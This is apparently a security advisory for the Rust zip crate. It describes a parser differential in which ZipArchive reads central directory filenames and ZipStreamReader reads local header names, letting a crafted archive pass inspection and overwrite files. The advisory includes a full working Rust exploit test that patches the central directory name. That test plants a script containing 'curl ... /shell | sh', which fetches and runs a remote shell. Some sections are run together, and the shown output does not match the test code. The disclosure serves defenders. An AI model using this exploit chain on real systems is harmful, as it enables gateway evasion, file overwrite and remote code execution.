A critical architectural parser differential exists in the zip crate (<= 9.0.4) between random-access archive readers (ZipArchive) and streaming readers (ZipStreamReader). ZipArchive considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, ZipStreamReader relies exclusively on the Local File Header (LFH) when extracting files to the filesystem.
This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them.
In the PKWARE ZIP archive format, every file entry is defined in two distinct locations:
In zip2:
src/read/zip_archive.rs: ZipArchive parses the central directory into SharedBuilder.files. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH.src/read/stream.rs:L86-L141: ZipStreamReader::visit and ZipStreamReader::extract read sequentially from the stream without verifying the central directory index. Each entry is parsed via read_zipfile_from_stream and written to disk using the unverified filename declared in the LFH:
// src/read/stream.rs
fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> {
file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?;
let mut outfile = fs::File::create(&outpath)?;
io::copy(file, &mut outfile)?;
Ok(())
}
src/write.rs:L1552: The crate explicitly exposes shallow_copy_file, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH.doc_report.pdf (Clean document)cron_worker.sh (Malicious root backdoor)ZipArchive (or similar CDFH-first parsers), detects only doc_report.pdf, and approves the file.ZipStreamReader::extract. ZipStreamReader reads the LFH and overwrites cron_worker.sh.The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against zip2:
use std::fs;
use std::io::{Cursor, Write};
use tempfile::tempdir;
use zip::unstable::stream::ZipStreamReader;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};
// Simulated Security Gateway (inspects CDFH via ZipArchive)
fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
for i in 0..archive.len() {
let name = archive.by_index(i).unwrap().name().unwrap().to_string();
if name.ends_with(".sh") || name.ends_with(".exe") {
return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
}
if !name.ends_with(".pdf") {
return Err("Policy violation: only PDFs allowed!".into());
}
}
Ok(())
}
#[test]
fn test_cvss_9_9_dual_header_exploit_chain() {
// 1. Victim server setup: existing critical script
let victim_env = tempdir().unwrap();
let victim_dir = victim_env.path();
let target_script = victim_dir.join("cron_worker.sh");
fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();
// 2. Attacker crafts Single-Entry Dual-Header Archive
// LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
let mut payload = Cursor::new(Vec::new());
let mut writer = ZipWriter::new(&mut payload);
writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
writer.finish().unwrap();
let mut malicious_zip = payload.into_inner();
let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");
// 3. Gateway Inspection (Bypassed!)
assert!(security_gateway_inspection(&malicious_zip).is_ok());
// 4. Backend Extraction (ZipStreamReader)
ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();
// 5. Impact Verification
let compromised = fs::read_to_string(&target_script).unwrap();
assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
assert!(compromised.contains("PWNED ROOT")); // RCE Confirmed
}
running 1 test
==================================================================
Dual-Header Security Gateway Evasion
Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS
==================================================================
[VICTIM SERVER STATE - BEFORE ATTACK]
Existing Content:
SERVICE IS RUNNING NORMALLY
--- [STEP 1: SECURITY GATEWAY INSPECTION] ---
[SECURITY GATEWAY] Auditing entry #0: 'doc_report.pdf'
[GATEWAY VERDICT]: Ok(())
[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!
--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---
Backend server unzips approved archive into production directory.
--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---
[VICTIM SERVER STATE - AFTER ATTACK]
Compromised Content:
curl -s https://attacker.c2/shell | sh
echo 'PWNED: FULL ROOT TAKEOVER'
An attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa.
Who is Impacted:
{
"cwe_ids": [
"CWE-20",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T21:09:50Z",
"nvd_published_at": "2026-10-26T17:17:17Z",
"severity": "CRITICAL"
}